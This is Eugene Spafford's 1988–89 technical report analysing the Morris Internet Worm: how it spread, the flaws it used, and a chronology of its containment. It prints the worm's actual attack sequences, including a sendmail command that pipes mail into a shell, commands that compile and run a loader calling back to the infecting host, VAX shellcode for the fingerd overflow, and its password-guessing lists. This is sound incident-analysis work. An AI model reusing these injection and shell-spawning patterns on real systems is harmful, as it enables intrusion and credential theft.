The Internet Worm Incident

Technical Report CSD-TR-933*

Eugene H. Spafford

Department of Computer Sciences
Purdue University
West Lafayette, IN USA 47907-2004

spaf@cs.purdue.edu

On the evening of 2 November 1988, someone ‘‘infected’’ the Internet with a *worm* program. That program exploited flaws in utility programs in systems based on BSD-derived versions of UNIX. The flaws allowed the program to break into those machines and copy itself, thus infecting those systems. This program eventually spread to thousands of machines, and disrupted normal activities and Internet connectivity for many days.

This paper explains why this program was a worm (as opposed to a virus), and provides a brief chronology of both the spread and eradication of the program. That is followed by discussion of some specific issues raised by the community’s reaction and subsequent discussion of the event. Included are some interesting lessons learned from the incident.

September 19, 1991

The Internet Worm Incident

Technical Report CSD-TR-933*

Eugene H. Spafford

Department of Computer Sciences
Purdue University
West Lafayette, IN USA 47907-2004

spaf@cs.purdue.edu

1. Introduction

Worldwide, over 60,000 computers† in interconnecting networks communicate using a common set of protocols—the Internet Protocols (IP).[7, 15] On the evening of 2 November 1988 this network (the Internet) came under attack from within. Sometime after 5 PM EST, a program was executed on one or more of these hosts. That program collected host, network, and user information, then used that information to establish network connections and break into other machines using flaws present in those systems' software. After breaking in, the program would replicate itself and the replica would attempt to infect other systems in the same manner. Although the program would only infect Sun Microsystems Sun 3 systems, and VAX™ computers running variants of 4 BSD‡ UNIX,® the program spread quickly, as did the confusion and consternation of system administrators and users as they discovered that their systems had been invaded. Although UNIX has long been known to have some security weaknesses (cf. [22], [13, 21, 29]), especially in its usual mode of operation in open research environments, the scope of the break-ins nonetheless came as a great surprise to almost everyone.

The program was mysterious to users at sites where it appeared. Unusual files were left in the scratch (/usr/tmp) directories of some machines, and strange messages appeared in the log files of some of the utilities, such as the *sendmail* mail handling agent. The most noticeable effect, however, was that systems became more and more loaded with running processes as they became repeatedly infected. As time went on, some of these machines became so loaded that they were unable to continue any processing; some machines failed completely when their swap space or process tables were exhausted.

By early Thursday morning, November 3, personnel at the University of California at Berkeley and Massachusetts Institute of Technology had ''captured'' copies of the program and began to analyze it. People at other sites also began to study the program and were developing methods of eradicating it. A common fear was that the program was somehow tampering with system resources in a way that could not be readily detected—that while a cure was being sought, system files were being altered or information destroyed. By 5 AM EST Thursday morning, less than 12 hours after the program was first discovered on the network, the Computer Systems Research Group at Berkeley had developed an interim set of steps to halt its spread. This included a preliminary patch to the *sendmail* mail agent, and the suggestion to rename one or both of the C compiler and loader to prevent their use. These suggestions were published in mailing lists and on the Usenet network news system, although their spread was

---

* This paper appears in the Proceedings of the 1989 European Software Engineering Conference (ESEC 89), published by Springer-Verlag as #87 in the ''Lecture Notes in Computer Science'' series.

† As presented by Mark Lottor at the October 1988 Internet Engineering Task Force (IETF) meeting in Ann Arbor, MI.

‡ BSD is an acronym for Berkeley Software Distribution.

® UNIX is a registered trademark of AT&T Laboratories.

™ VAX is a trademark of Digital Equipment Corporation.

hampered by systems disconnected from the Internet in an attempt to ‘‘quarantine’’ them.

By about 9 PM EST Thursday, another simple, effective method of stopping the invading program, without altering system utilities, was discovered at Purdue and also widely published. Software patches were posted by the Berkeley group at the same time to mend all the flaws that enabled the program to invade systems. All that remained was to analyze the code that caused the problems and discover who had unleashed the worm—and why. In the weeks that followed, other well-publicized computer break-ins occurred and many debates began about how to deal with the individuals staging these break-ins, who is responsible for security and software updates, and the future roles of networks and security. The conclusion of these discussions may be some time in coming because of the complexity of the topics, but the ongoing debate should be of interest to computer professionals everywhere. A few of those issues are summarized later.

After a brief discussion of why the November 2nd program has been called a *worm*, this paper describes how the program worked. This is followed by a chronology of the spread and eradication of the Worm, and concludes with some observations and remarks about the community’s reaction to the whole incident, as well as some remarks about potential consequences for the author of the Worm.

2. Terminology

There seems to be considerable variation in the names applied to the program described here. Many people have used the term *worm* instead of *virus* based on its behavior. Members of the press have used the term *virus*, possibly because their experience to date has been only with that form of security problem. This usage has been reinforced by quotes from computer managers and programmers also unfamiliar with the difference. For purposes of clarifying the terminology, let me define the difference between these two terms and give some citations as to their origins; these same definitions were recently given in [9]:

> A *worm* is a program that can run independently and can propagate a fully working version of itself to other machines. It is derived from the word *tapeworm*, a parasitic organism that lives inside a host and uses its resources to maintain itself.
>
> A *virus* is a piece of code that adds itself to other programs, including operating systems. It cannot run independently—it requires that its ‘‘host’’ program be run to activate it. As such, it has an analog to biological viruses — those viruses are not considered alive in the usual sense; instead, they invade host cells and corrupt them, causing them to produce new viruses.

2.1. Worms

The concept of a worm program that spreads itself from machine to machine was apparently first described by John Brunner in 1975 in his classic science fiction novel *The Shockwave Rider*.[5] He called these programs *tapeworms* that existed ‘‘inside’’ the computers and spread themselves to other machines. Ten years ago, researchers at Xerox PARC built and experimented with *worm* programs. They reported their experiences in 1982 in [25], and cited Brunner as the inspiration for the name *worm*. Although not the first self-replicating programs to run in a network environment, these were the first such programs to be called *worms*.

The worms built at PARC were designed to travel from machine to machine and do useful work in a distributed environment—they were not used at that time to break into systems. Because of this, some people prefer to call the Internet Worm a *virus* because it was destructive, and they believe worms are non-destructive. Not everyone agrees that the Internet Worm was destructive, however. Since intent and effect are sometimes difficult to judge because we lack complete information and have different definitions of those terms, using them as a naming criterion is clearly insufficient. Unless a different naming scheme is generally adopted, programs such as this one should be called *worms* because of their method of propagation.

2.2. Viruses

The first published use of the word *virus* (to my knowledge) to describe something that infects a computer was by David Gerrold in his science fiction short stories about the G.O.D. machine. These stories were later combined and expanded to form the book *When Harlie Was One*. [12] A subplot in that book described a program named VIRUS created by an unethical scientist.* A computer infected with VIRUS would randomly dial the phone until it found another computer. It would then break into that system and infect it with a copy of VIRUS. This program would infiltrate the system software and slow the system down so much that it became unusable (except to infect other machines). The inventor had plans to sell a program named VACCINE that could cure VIRUS and prevent infection, but disaster occurred when noise on a phone line caused VIRUS to mutate so VACCINE ceased to be effective.

The term *computer virus* was first used in a formal way by Fred Cohen at USC. [6] He defined the term to mean a security problem that attaches itself to other code and turns it into something that produces viruses; to quote from his paper: ''We define a computer 'virus' as a program that can infect other programs by modifying them to include a possibly evolved copy of itself.'' He claimed the first computer virus was ''born'' on November 3, 1983, written by himself for a security seminar course,† and in his Ph. D. dissertation he credited his advisor, L. Adleman, with originating the terminology. However, there are accounts of virus programs being created at least a year earlier, including one written by a student at Texas A&M during early 1982.*

2.3. An Opposing View

In a widely circulated paper [10], Eichin and Rochlis chose to call the November 2nd program a virus. Their reasoning for this required reference to biological literature and observing distinctions between *lytic viruses* and *lysogenic viruses*. It further requires that we view the Internet as a whole to be the *infected host* rather than each individual machine.

Their explanation merely serves to underscore the dangers of co-opting terms from another discipline to describe phenomena within our own (computing). The original definitions may be much more complex than we originally imagine, and attempts to maintain and justify the analogies may require a considerable effort. Here, it may also require an advanced degree in the biological sciences!

The definitions of *worm* and *virus* I have given, based on Cohen's and Denning's definitions, do not require detailed knowledge of biology or pathology. They also correspond well with our traditional understanding of what a computer ''host'' is. Although Eichin and Rochlis present a reasoned argument for a more precise analogy to biological viruses, we should bear in mind that the nomenclature has been adopted for the use of computer professionals and not biologists. The terminology should be descriptive, unambiguous, and easily understood. Using a nonintuitive definition of a ''computer host,'' and introducing unfamiliar terms such as *lysogenic* does not serve these goals well. As such, the term *worm* should continue to be the name of choice for this program and others like it.

3. How the Worm Operated

The Worm took advantage of flaws in standard software installed on many UNIX systems. It also took advantage of a mechanism used to simplify the sharing of resources in local area networks. Specific patches for these flaws have been widely circulated in days since the Worm program attacked the Internet. Those flaws are described here, along with some related problems, since we can learn something about software design from them. This is then followed by a description of how the Worm used the flaws to invade systems.

---

* The second edition of the book, recently published, has been ''updated'' to omit this subplot about VIRUS.

† It is ironic that the Internet Worm was loosed on November 2, the eve of this ''birthday.''

* Private communication, Joe Dellinger.

3.1. fingerd and gets

The *finger* program is a utility that allows users to obtain information about other users. It is usually used to identify the full name or login name of a user, whether a user is currently logged in, and possibly other information about the person such as telephone numbers where he or she can be reached. The *fingerd* program is intended to run as a daemon, or background process, to service remote requests using the finger protocol. [14] This daemon program accepts connections from remote programs, reads a single line of input, and then sends back output matching the received request.

The bug exploited to break *fingerd* involved overrunning the buffer the daemon used for input. The standard C language I/O library has a few routines that read input without checking for bounds on the buffer involved. In particular, the *gets* call takes input to a buffer without doing any bounds checking; this was the call exploited by the Worm. As will be explained later, the input overran the buffer allocated for it and rewrote the stack frame, thus altering the behavior of the program.

The *gets* routine is not the only routine with this flaw. There is a whole family of routines in the C library that may also overrun buffers when decoding input or formatting output unless the user explicitly specifies limits on the number of characters to be converted.

Although experienced C programmers are aware of the problems with these routines, many continue to use them. Worse, their format is in some sense codified not only by historical inclusion in UNIX and the C language, but more formally in the forthcoming ANSI language standard for C. The hazard with these calls is that any network server or privileged program using them may possibly be compromised by careful precalculation of the (in)appropriate input.

Interestingly, at least two long-standing flaws based on this underlying problem have recently been discovered in other standard BSD UNIX commands. Program audits by various individuals have revealed other potential problems, and many patches have been circulated since November to deal with these flaws. Despite this, the library routines will continue to be used, and as our memory of this incident fades, new flaws may be introduced with their use.

3.2. Sendmail

The sendmail program is a mailer designed to route mail in a heterogeneous internetwork. [3] The program operates in several modes, but the one exploited by the Worm involves the mailer operating as a daemon (background) process. In this mode, the program is ‘‘listening’’ on a TCP port (#25) for attempts to deliver mail using the standard Internet protocol, SMTP (Simple Mail Transfer Protocol). [20] When such an attempt is detected, the daemon enters into a dialog with the remote mailer to determine sender, recipient, delivery instructions, and message contents.

The bug exploited in *sendmail* had to do with functionality provided by a debugging option in the code. The Worm would issue the *DEBUG* command to *sendmail* and then specify the recipient of the message as a set of commands instead of a user address. In normal operation, this is not allowed, but it is present in the debugging code to allow testers to verify that mail is arriving at a particular site without the need to invoke the address resolution routines. By using this feature, testers can run programs to display the state of the mail system without sending mail or establishing a separate login connection. This debug option is often used because of the complexity of configuring sendmail for local conditions and it is often left turned on by many vendors and site administrators.

The sendmail program is of immense importance on most Berkeley-derived (and other) UNIX systems because it handles the complex tasks of mail routing and delivery. Yet, despite its importance and widespread use, most system administrators know little about how it works. Stories are often related about how system administrators will attempt to write new device drivers or otherwise modify the kernel of the operating system, yet they will not willingly attempt to modify sendmail or its configuration files.

It is little wonder, then, that bugs are present in sendmail that allow unexpected behavior. Other flaws have been found and reported now that attention has been focused on the program, but it is not known for sure if all the bugs have been discovered and all the patches circulated.

3.3. Passwords

A key attack of the Worm program involved attempts to discover user passwords. It was able to determine success because the encrypted password* of each user was in a publicly-readable file. In UNIX systems, the user provides a password at sign-on to verify identity. The password is encrypted using a permuted version of the Data Encryption Standard (DES) algorithm, and the result is compared against a previously encrypted version present in a world-readable accounting file. If a match occurs, access is allowed. No plaintext passwords are contained in the file, and the algorithm is supposedly non-invertible without knowledge of the password.

The organization of the passwords in UNIX allows non-privileged commands to make use of information stored in the accounts file, including authentification schemes using user passwords. However, it also allows an attacker to encrypt lists of possible passwords and then compare them against the actual passwords without calling any system function. In effect, the security of the passwords is provided by the prohibitive effort of trying this approach with all combinations of letters. Unfortunately, as machines get faster, the cost of such attempts decreases. Dividing the task among multiple processors further reduces the time needed to decrypt a password. Such attacks are also made easier when users choose obvious or common words for their passwords. An attacker need only try lists of common words until a match is found.

The Worm used such an attack to break passwords. It used lists of words, including the standard online dictionary, as potential passwords. It encrypted them using a fast version of the password algorithm and then compared the result against the contents of the system file. The Worm exploited the accessibility of the file coupled with the tendency of users to choose common words as their passwords. Some sites reported that over 50% of their passwords were quickly broken by this simple approach.

One way to reduce the risk of such attacks, and an approach that has already been taken in some variants of UNIX, is to have a *shadow* password file. The encrypted passwords are saved in a file (shadow) that is readable only by the system administrators, and a privileged call performs password encryptions and comparisons with an appropriate timed delay (.5 to 1 second, for instance). This would prevent any attempt to ‘‘fish’’ for passwords. Additionally, a threshold could be included to check for repeated password attempts from the same process, resulting in some form of alarm being raised. Shadow password files should be used in combination with encryption rather than in place of such techniques, however, or one problem is simply replaced by a different one (securing the shadow file); the combination of the two methods is stronger than either one alone.

Another way to strengthen the password mechanism would be to change the utility that sets user passwords. The utility currently makes minimal attempt to ensure that new passwords are nontrivial to guess. The program could be strengthened in such a way that it would reject any choice of a word currently in the on-line dictionary or based on the account name.

A related flaw exploited by the Worm involved the use of trusted logins. One useful features of BSD UNIX-based networking code is its support for executing tasks on remote machines. To avoid having repeatedly to type passwords to access remote accounts, it is possible for a user to specify a list of host/login name pairs that are assumed to be ‘‘trusted,’’ in the sense that a remote access from that host/login pair is never asked for a password. This feature has often been responsible for users gaining unauthorized access to machines (cf. [21]), but it continues to be used because of its great convenience.

The Worm exploited the mechanism by trying to locate machines that might ‘‘trust’’ the current machine/login being used by the Worm. This was done by examining files that listed remote machine/logins trusted by the current host.* Often, machines and accounts are configured for reciprocal trust. Once the Worm found such likely candidates, it would attempt to instantiate itself on those machines by using the remote execution facility—copying itself to the remote machines as if it were an authorized user performing a standard remote operation.

---

* Strictly speaking, the password is not encrypted. A block of zero bits is repeatedly encrypted using the user password, and the results of this encryption is what is saved. See [4] and [19] for more details.

* The *hosts.equiv* and per-user *.rhosts* files referred to later.

To defeat future such attempts requires that the current remote access mechanism be removed and possibly replaced with something else. One mechanism that shows promise in this area is the Kerberos authentification server [28]. This scheme uses dynamic session keys that need to be updated periodically. Thus, an invader could not make use of static authorizations present in the file system.

3.4. High Level Description

The Worm consisted of two parts: a main program, and a bootstrap or *vector* program. The main program, once established on a machine, would collect information on other machines in the network to which the current machine could connect. It would do this by reading public configuration files and by running system utility programs that present information about the current state of network connections. It would then attempt to use the flaws described above to establish its bootstrap on each of those remote machines.

The bootstrap was 99 lines of C code that would be compiled and run on the remote machine. The source for this program would be transferred to the victim machine using one of the methods discussed in the next section. It would then be compiled and invoked on the victim machine with three command line arguments: the network address of the infecting machine, the number of the network port to connect to on that machine to get copies of the main Worm files, and a *magic number* that effectively acted as a one-time-challenge password. If the ‘‘server’’ Worm on the remote host and port did not receive the same magic number back before starting the transfer, it would immediately disconnect from the vector program. This may have been done to prevent someone from attempting to ‘‘capture’’ the binary files by spoofing a Worm ‘‘server.’’

This code also went to some effort to hide itself, both by zeroing out its argument vector (command line image), and by immediately forking a copy of itself. If a failure occurred in transferring a file, the code deleted all files it had already transferred, then it exited.

Once established on the target machine, the bootstrap would connect back to the instance of the Worm that originated it and transfer a set of binary files (precompiled code) to the local machine. Each binary file represented a version of the main Worm program, compiled for a particular computer architecture and operating system version. The bootstrap would also transfer a copy of itself for use in infecting other systems. One curious feature of the bootstrap has provoked many questions, as yet unanswered: the program had data structures allocated to enable transfer of up to 20 files; it was used with only three. This has led to speculation whether a more extensive version of the Worm was planned for a later date, and if that version might have carried with it other command files, password data, or possibly local virus or trojan horse programs.

Once the binary files were transferred, the bootstrap program would load and link these files with the local versions of the standard libraries. One after another, these programs were invoked. If one of them ran successfully, it read into its memory copies of the bootstrap and binary files and then deleted the copies on disk. It would then attempt to break into other machines. If none of the linked versions ran, then the mechanism running the bootstrap (a command file or the parent worm) would delete all the disk files created during the attempted infection.

3.5. Step-by-step description

This section contains a more detailed overview of how the Worm program functioned. The description in this section assumes that the reader is somewhat familiar with standard UNIX commands and with BSD UNIX network facilities. A more detailed analysis of operation and components can be found in [26], with additional details in [10] and [24].

This description starts from the point at which a host is about to be infected. A Worm running on another machine has either succeeded in establishing a shell on the new host and has connected back to the infecting machine via a TCP connection,* or it has connected to the SMTP port and is transmitting to the sendmail program.

---

* Internet reliable stream connection.

The infection proceeded as follows:

1) A socket was established on the infecting machine for the vector program to connect to (e.g., socket number 32341). A challenge string was constructed from a random number (e.g., 8712440). A file name base was also constructed using a random number (e.g., 14481910).

2) The vector program was installed and executed using one of two methods:

   2a) Across a TCP connection to a shell, the Worm would send the following commands (the two lines beginning with ‘‘cc’’ were sent as a single line):

```
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed '/int zz/q' > x14481910.c;echo gorch50
[text of vector program]
int zz;
cc -o x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE
```

   Then it would wait for the string ‘‘DONE’’ to signal that the vector program was running.

   2b) Using the SMTP connection, it would transmit (the two lines beginning with ‘‘cc’’ were sent as a single line):

```
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit
```

   The infecting Worm would then wait for up to 2 minutes on the designated port for the vector to contact it.

3) The vector program then connected to the ‘‘server,’’ sent the challenge string, and transferred three files: a Sun 3 binary version of the Worm, a VAX version, and the source code for the vector program. After the files were copied, the running vector program became (via the *execl* call) a shell with its input and output still connected to the server Worm.

4) The server Worm sent the following command stream to the connected shell:

```
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x14481910
else
P=sh
fi
```

Then, for each binary file it had transferred (just two in this case, although the code is written to allow more), it would send the following form of command sequence:

```
cc -o $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,l1.c
rm -f $P
```

The *rm* would succeed only if the linked version of the Worm failed to start execution. If the server determined that the host was now infected, it closed the connection. Otherwise, it would try the other binary file. After both binary files had been tried, it would send over *rm* commands for the object files to clear away all evidence of the attempt at infection.

5) The new Worm on the infected host proceeded to ''hide'' itself by obscuring its argument vector, unlinking the binary version of itself, and killing its parent (the $$ argument in the invocation). It then read into memory each of the Worm binary files, encrypted each file after reading it, and deleted the files from disk.

6) Next, the new Worm gathered information about network interfaces and hosts to which the local machine was connected. It built lists of these in memory, including information about canonical and alternate names and addresses. It gathered some of this information by making direct *ioctl* calls, and by running the *netstat* program with various arguments.* It also read through various system files looking for host names to add to its database.

7) It randomized the lists of hosts it constructed, then attempted to infect some of them. For directly connected networks, it created a list of possible host numbers and attempted to infect those hosts if they existed. Depending on whether the host was remote or attached to a local area network the Worm first tried to establish a connection on the *telnet* or *rexec* ports to determine reachability before it attempted an infection.

8) The infection attempts proceeded by one of three routes: *rsh*, *fingerd*, or *sendmail*.

   8a) The attack via *rsh* was done by attempting to spawn a remote shell by invocation of (in order of trial) /usr/ucb/rsh, /usr/bin/rsh, and /bin/rsh. If successful, the host was infected as in steps 1 and 2a, above.

   8b) The attack via the *finger* daemon was somewhat more subtle. A connection was established to the remote *finger* server daemon and then a specially constructed string of 536 bytes was passed to the daemon, overflowing its 512 byte input buffer and overwriting parts of the stack. For standard 4 BSD versions running on VAX computers, the overflow resulted in the return stack frame for the *main* routine being changed so that the return address pointed into the buffer on the stack. The instructions that were written into the stack at that location were a series of no-ops followed by:

```
pushl   $68732f       '/sh\0'
pushl   $6e69622f '/bin'
movl    sp, r10
pushl   $0
pushl   $0
pushl   r10
pushl   $3
movl    sp,ap
chmk    $3b
```

That is, the code executed when the *main* routine attempted to return was:

---

* Ioctl is a UNIX call to do device queries and control. Netstat is a status and monitor program showing the state of network connections.

execve("/bin/sh", 0, 0)

On VAXen, this resulted in the Worm connected to a remote shell via the TCP connection. The Worm then proceeded to infect the host as in steps 1 and 2a, above. On Suns, this simply resulted in a core dump since the code was not in place to corrupt a Sun version of *fingerd* in a similar fashion. Curiously, correct machine-specific code to corrupt Suns could have been written in a matter of hours and included but was not. [26]

8c) The Worm then tried to infect the remote host by establishing a connection to the SMTP port and mailing an infection, as in step 2b, above.

Not all the steps were attempted. As soon as one method succeeded, the host entry in the internal list was marked as *infected* and the other methods were not attempted.

9) Next, it entered a state machine consisting of five states. Each state but the last was run for a short while, then the program looped back to step #7 (attempting to break into other hosts via *sendmail, finger*, or *rsh*). The first four of the five states were attempts to break into user accounts on the local machine. The fifth state was the final state, and occurred after all attempts had been made to break all passwords. In the fifth state, the Worm looped forever trying to infect hosts in its internal tables and marked as not yet infected. The first four states were:

9a) The Worm read through the */etc/hosts.equiv* files and */.rhosts* files to find the names of *equivalent* hosts. These were marked in the internal table of hosts. Next, the Worm read */etc/passwd* (the account and password file) into an internal data structure. As it was doing this, it also examined the *.forward* file (used to forward mail to a different host automatically) in each user home directory and included any new host names into its internal table of hosts to try. Oddly, it did not similarly check user *.rhosts* files.

9b) The Worm attempted to break each user password using simple choices. The Worm first checked the obvious case of no password. Then, it used the account name and user information field to try simple passwords. Assume that the user had an entry in the password file like:

account:abcedfghijklm:100:5:User, Name:/usr/account:/bin/sh

(These represent, respectively, the account name, the encrypted password, the user ID number, the user's default group ID number, per-user information field, the pathname of the user's home account, and the pathname of the user's default command interpreter or *shell*.) The words tried as potential passwords would be *account, accountaccount, User, Name, user, name*, and *tnuocca*. These are, respectively, the account name, the account name concatenated with itself, the first and last names of the user, the user names with leading capital letters turned to lower case, and the account name reversed. Experience described in[13] shows that on systems where users are naive about proper password security, these choices may work for a significant percentage of user accounts.

Step 10 in this section describes what was done if a password ''hit'' was achieved.

9c) The third stage in the process involved trying to break the password of each user by trying each word present in an internal dictionary of words (available in [26]). This dictionary of 432 words was tried against each account in a random order, with ''hits'' being handled as described in step 10, below.

9d) The fourth stage was entered if all other attempts failed. For each word in the online dictionary, the Worm would see if it was the password to any account. In addition, if the word in the dictionary began with an upper case letter, the letter was converted to lower case and that word was also tried against all the passwords.

10) Once a password was broken for any account, the Worm would attempt to break into remote machines where that user had accounts. The Worm would scan the *.forward* and *.rhosts* files of the user at this point, and identify the names of remote hosts that had accounts used by the target user. It then attempted two attacks:

10a) The Worm would first attempt to create a remote shell using the *rexec*[*] service. The attempt would be made using the account name given in the *.forward* or *.rhosts* file and the user's local password. This took advantage of users' tendency to use the same password on their accounts on multiple machines.

10b) The Worm would do a *rexec* to the current host (using the local user name and password) and would try a *rsh* command to the remote host using the username taken from the file. This attack would succeed when the remote machine had a hosts.equiv file or the user had a *.rhosts* file that allowed remote execution without a password.

If the remote shell was created either way, the attack would continue as in steps 1 and 2a, above. No other use was made of the user password.

Throughout the execution of the main loop, the Worm would check for other Worms running on the same machine. To do this, the Worm would attempt to connect to another Worm on a local, predetermined TCP socket.[†] If such a connection succeeded, one Worm would (randomly) set an internal variable named *pleasequit* to 1, causing that Worm to exit after it had reached part way into the third stage (9c) of password cracking. This delay is part of the reason many systems had multiple Worms running: even though a Worm would check for other local Worms, it would defer its self-destruction until significant effort had been made to break local passwords. Furthermore, race conditions in the code made it possible for Worms on heavily loaded machines to fail to connect, thus causing some of them to continue indefinitely despite the presence of other Worms.

One out of every seven Worms would become ''immortal'' rather than check for other local Worms. Based on a generated random number they would set an internal flag that would prevent them from ever looking for another Worm on their host. This may have been done to defeat any attempt to put a fake Worm process on the TCP port to kill existing Worms. Whatever the reason, this was likely the primary cause of machines being overloaded with multiple copies of the Worm.

The Worm attempted to send a UDP packet to the host ernie.berkeley.edu[‡] approximately once every 15 infections, based on a random number comparison. The code to do this was incorrect, however, and no information was ever sent. Whether this was the intended ruse or whether there was some reason for the byte to be sent is not currently known. However, the code is such that an uninitialized byte is the intended message. It is possible that the author eventually intended to run some monitoring program on ernie (after breaking into an account, perhaps). Such a program could obtain the sending host number from the single-byte message, whether it was sent as a TCP or UDP packet. However, no evidence for such a program has been found and it is possible that the connection was simply a feint to cast suspicion on personnel at Berkeley.

The Worm would also *fork* itself on a regular basis and *kill* its parent. This has two effects. First, the Worm appeared to keep changing its process identifier and no single process accumulated excessive amounts of cpu time. Secondly, processes that have been running for a long time have their priority downgraded by the scheduler. By forking, the new process would regain normal scheduling priority. This mechanism did not always work correctly, either, as locally we observed some instances of the Worm with over 600 seconds of accumulated cpu time.

If the Worm was present on a machine for more than 12 hours, it would flush its host list of all entries flagged as being immune or already infected. The way hosts were added to this list implies that a single Worm might reinfect the same machines every 12 hours.

4. Chronology

What follows is an abbreviated chronology of events relating to the release of the Internet Worm. Most of this information was gathered from personal mail, submissions to mailing lists, and Usenet postings. Some items were taken from [24] and [1], and are marked accordingly. This is certainly not a

---

* *rexec* is a remote command execution service. It requires that a username/password combination be supplied as part of the request.

† This was compiled in as port number 23357, on host 127.0.0.1 (loopback).

‡ Using TCP port 11357 on host 128.32.137.13. UDP is an Internet unreliable data packet transmission protocol.

complete chronology—many other sites were affected by the Worm but are not listed here. Note that because of clock drift and machine crashes, some of the times given here may not be completely accurate. They should convey an approximation to the sequence of events, however. All times are given in Eastern Standard Time.

It is particularly interesting to note how quickly and how widely the Worm spread. It is also significant to note how quickly it was identified and stopped by an ad hoc collection of ''Worm hunters'' using the same network to communicate their results.

November 2, 1988

~1700	Worm executed on a machine at Cornell University. (NCSC) Whether this was a last test or the initial execution is not known.
~1800	Machine *prep.ai.mit.edu* at MIT infected. (Seely, mail) This may have been the initial execution. Prep is a public-access machine, used for storage and distribution of GNU project software. It is configured with some notorious security holes that allow anonymous remote users to introduce files into the system.
1830	Infected machine at the University of Pittsburgh infects a machine at the RAND Corporation. (NCSC)
2100	Worm discovered on machines at Stanford. (NCSC)
2130	First machine at the University of Minnesota invaded. (mail)
2204	Gateway machine at University of California, Berkeley invaded. Mike Karels and Phil Lapsley discover this shortly afterwards because they noticed an unusual load on the machine. (mail)
2234	Gateway machine at Princeton University infected. (mail)
~2240	Machines at the University of North Carolina are infected and attempt to invade other machines. Attempts on machines at MCNC (Microelectronics Center of North Carolina) start at 2240. (mail)
2248	Machines at SRI infected via sendmail. (mail)
2252	Worm attempts to invade machine andrew.cmu.edu at Carnegie-Mellon University. (mail)
2254	Gateway hosts at the University of Maryland come under attack via fingerd daemon. Evidence is later found that other local hosts are already infected. (mail)
2259	Machines at University of Pennsylvania attacked, but none are susceptible. Logs will later show 210 attempts over next 12 hours. (mail)
~2300	AI Lab machines at MIT infected. (NCSC)
2328	mimsy.umd.edu at University of Maryland is infected via sendmail. (mail)
2340	Researchers at Berkeley discover sendmail and rsh as means of attack. They begin to shut off other network services as a precaution. (Seeley)
2345	Machines at Dartmouth and the Army Ballistics Research Lab (BRL) attacked and infected. (mail, NCSC)
2349	Gateway machine at the University of Utah infected. In the next hour, the load average will soar to 100* because of repeated infections. (Seeley)

November 3, 1988

0007	University of Arizona machine arizona.edu infected. (mail)
0021	Princeton University main machine (a VAX 8650) infected. Load average reaches 68 and the machine crashes. (mail)
0033	Machine dewey.udel.edu at the University of Delaware infected, but not by sendmail. (mail)
0105	Worm invades machines at Lawrence Livermore Labs (LLL). (NCSC)
0130	Machines at UCLA infected. (mail)

* The load average is an indication of how many processes are on the ready list awaiting their turn to execute. The normal load for a gateway machine is usually below 10 during off-hours.

0200 The Worm is detected on machines at Harvard University. (NCSC)

0238 Peter Yee at Berkeley posts a message to the TCP-IP mailing list: ‘‘We are under attack.’’ Affected sites mentioned in the posting include U. C. Berkeley, U. C. San Diego, LLL, Stanford, and NASA Ames. (mail)

~0315 Machines at the University of Chicago are infected. One machine in the Physics department logs over 225 infection attempts via fingerd from machines at Cornell during the time period midnight to 0730. (mail)

0334 Warning about the Worm is posted anonymously (from ‘‘foo@bar.arpa’’) to the TCP-IP mailing list: ‘‘There may be a virus loose on the internet.’’ What follows are three brief statements of how to stop the Worm, followed by ‘‘Hope this helps, but more, I hope it is a hoax.’’ The poster is later revealed to be Andy Sudduth of Harvard, who was phoned by the Worm’s alleged author, Robert T. Morris. Due to network and machine loads, the warning is not propagated for well over 24 hours. (mail, Seeley)

~0400 Colorado State University attacked. (mail)

~0400 Machines at Purdue University infected.

0554 Keith Bostic mails out a warning about the Worm, plus a patch to sendmail. His posting goes to the TCP-IP list, the Usenix 4bsd-ucb-fixes newsgroup, and selected site administrators around the country. (mail, Seeley)

0645 Clifford Stoll calls the National Computer Security Center and informs them of the Worm. (NCSC)

~0700 Machines at Georgia Institute of Technology are infected. Gateway machine (a Vax 780) load average begins climb past 30. (mail)

0730 I discover infection on machines at Purdue University. Machines are so overloaded I cannot read my mail or news, including mail from Keith Bostic about the Worm. Believing this to be related to a recurring hardware problem on the machine, I request that the system be restarted.

0807 Edward Wang at Berkeley unravels fingerd attack, but his mail to the systems group is not read for more than 12 hours. (mail)

0818 I read Keith’s mail. I forward his warning to the Usenet *news.announce.important* newsgroup, to the nntp-managers mailing list, and to over 30 other site admins. This is the first notice most of these people get about the Worm. This group exchanges mail all day about progress and behavior of the Worm, and eventually becomes the *phage* mailing list based at Purdue with over 300 recipients.

~0900 Machines on Nysernet found to be infected. (mail)

1036 I mail first description of how the Worm works to the mailing list and to the Risks Digest. The fingerd attack is not yet known.

1130 The Defense Communications Agency inhibits the mailbridges between Arpanet and Milnet. (NCSC)

1200 Over 120 machines at SRI in the Science & Technology center are shut down. Between 1/3 and 1/2 are found to be infected. (mail)

1450 Personnel at Purdue discover machines with patched versions of sendmail reinfected. I mail and post warning that the sendmail patch by itself is not sufficient protection. This was known at various sites, including Berkeley and MIT, over 12 hours earlier but never publicized.

1600 System admins of Purdue systems meet to discuss local strategy. Captured versions of the Worm suggest a way to prevent infection: create a directory named *sh* in the /usr/tmp directory.

1800 Mike Spitzer and Mike Rowan of Purdue discover how the finger bug works. A mailer error causes their explanation to fail to leave Purdue machines.

1900 Bill Sommerfield of MIT recreates fingerd attack and phones Berkeley with this information. Nothing is mailed or posted about this avenue of attack. (mail, Seeley)

1919 Keith Bostic posts and mails new patches for sendmail and fingerd. They are corrupted in transit. Many sites do not receive them until the next day. (mail, Seeley)

1937 Tim Becker of the University of Rochester mails out description of the fingerd attack. This one reaches the *phage* mailing list. (mail)

2100 My original mail about the Worm, sent at 0818, finally reaches the University of Maryland. (mail)

2120 Personnel at Purdue verify, after repeated attempts, that creating a directory named *sh* in /usr/tmp prevents infection. I post this information to *phage*.

2130 Group at Berkeley begins decompiling Worm into C code. (Seeley)

November 4, 1988

0050 Bill Sommerfield mails out description of fingerd attack. He also makes first comments about the coding style of the Worm's author. (mail)

0500 MIT group finishes code decompilation. (mail, NCSC)

